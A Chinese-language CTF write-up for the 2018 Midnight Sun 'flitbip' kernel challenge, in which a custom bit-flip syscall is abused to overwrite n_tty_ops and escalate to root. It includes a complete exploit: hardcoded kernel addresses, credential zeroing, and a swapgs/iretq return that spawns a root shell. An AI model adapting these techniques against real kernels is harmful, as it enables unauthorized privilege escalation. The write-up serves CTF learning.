Linux内核pwn——劫持n_tty_ops指针

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0x001 前言

以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。

题目下载:

链接:https://pan.baidu.com/s/1_DcmU8JzseiiOA7mkYQu8Q 密码:kfc8

 

0x002 干掉定时logout

由于内核运行一断时间后便会退出,需要解开文件系统,做一定修改

mkdir core
mv ./core.cpio ./core/
cd core
cpio -idmv < initrd
rm initrd

一般的,我们会去看init文件,但貌似并没有问题

最后,我找到了/home/flitbip下的.profile文件,将第1、2行注释掉

为了后续调试方便,我在根目录新建一个tmp文件夹,在init作如下改动,让启动的内核具有root权限

重新打包

find . -print0 | cpio --null -ov --format=newc > core.cpio
mv ./core.cpio ..
rm -rf ../core

 

0x003 分析

由init看得出来,内核启动过程并未加载任何与题目相关的内核扩展模块,但src目录下有一个flitbip.c文件

这里定义了一个系统调用(系统调用号为333),会将参数addr的第bit位翻转

留意到flit_cout必须要小于MAXFLIT = 1,否则便会退出

绕过方法:

flit_cout是有符号长整型,调用一次系统调用flitbip,将flit_cout最高位翻转,此时flit_cout为负数。

long flitbip(long *addr, long bit)
{
    __asm__("mov rax, 333;"
            "syscall;"
    );
}

int main()
{
    ...
    flitbip(flit_count, 63);
    ...
}

先调试看看是否已经绕过,用extract-vmlinux提取内核执行文件

当我看到这样的情况,我是一脸懵逼的

估计是generic版的内核,好吧…只能去/proc/kallsyms找了

/tmp # cat /proc/kallsyms | grep flit_count
ffffffff818f4f78 B flit_count

EXP执行前

EXP执行后,看样子flit_count翻转成负数了

下面考虑如何提权:

内核中存在n_tty_ops这个全局指针,其指向的这片地存储着许多函数指针,我们想办法将该处的函数指针改成我们root函数的地址,再触发该函数。

n_tty_ops指向的函数指针

最后,我们利用含有漏洞333号系统调用,将n_tty_read劫持成root函数提权,n_tty_read存储在*n_tty_ops + 0x30

 

0x004 ROOT

由于没有开aslr,直接将n_tty_ops等地址写死即可

完整的EXP

// gcc solved.c -static -masm=intel -g -o solved
#include <stdio.h>
#include <stdlib.h>

unsigned long *flit_count = 0xffffffff818f4f78;
unsigned long *n_tty_read = 0xffffffff810c8510;
unsigned long *n_tty_ops = 0xffffffff8183e320;
unsigned long *current_task = 0xffffffff8182e040;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_status()
{
    __asm__("mov %0, cs;"
            "mov %1, ss;"
            "mov %2, rsp;"
            "pushfq;"
            "popq %3;"
            :"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags)
            :
            :"memory"
    );
    puts("[*]status has been saved.");
}

void binsh()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

long flitbip(long *addr, long bit)
{
    __asm__("mov rax, 333;"
            "syscall;"
    );
}

void root()
{
    int *cred = *(unsigned long *)((char *)*current_task + 0x3c0);
    for(int i = 1; i < 9; i++)
        cred[i] = 0;

    *(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read;

    __asm__("swapgs;"
            "mov rax, %0;"
            "push rax;"
            "mov rax, %1;"
            "push rax;"
            "mov rax, %2;"
            "push rax;"
            "mov rax, %3;"
            "push rax;"
            "mov rax, %4;"
            "push rax;"
            "iretq;"
            :
            :"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh)
            :"memory"
    );
}

int main()
{
    save_status();
    printf("user_sp addr: %pn", user_sp);

    flitbip(flit_count, 63);

    unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read;
    printf("root addr: %lxn", root);
    printf("root xor: %lxn", xor);
    for(unsigned long i = 0; i < 64; i++)
    {
        if(xor & (1ULL << (i)))
            flitbip((char *)n_tty_ops + 0x30, i);
    }

    scanf("%c", user_sp);
    while(1);

    return 0;
}

root~

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